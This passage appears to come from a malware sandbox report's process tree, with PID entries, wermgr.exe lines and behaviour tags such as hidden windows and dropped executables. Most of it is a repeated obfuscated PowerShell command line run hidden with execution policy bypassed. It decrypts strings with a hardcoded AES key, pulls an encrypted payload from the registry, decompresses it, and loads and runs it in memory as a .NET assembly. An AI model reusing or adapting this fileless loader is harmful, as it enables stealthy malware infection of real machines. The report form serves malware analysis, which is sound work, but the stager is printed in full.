'')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:6524
        
        C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2936" "3108" "3032" "3112" "0" "0" "3116" "0" "0" "0" "0" "0"
        10⤵
        
        PID:8284
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        Hide Artifacts: Hidden Window
        
        PID:3116
        
        C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2236" "3104" "3020" "3108" "0" "0" "3112" "0" "0" "0" "0" "0"
        9⤵
        
        PID:1392
        
        C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "228" "3100" "3004" "3104" "0" "0" "3108" "0" "0" "0" "0" "0"
        8⤵
        
        PID:5300
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:4408
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = 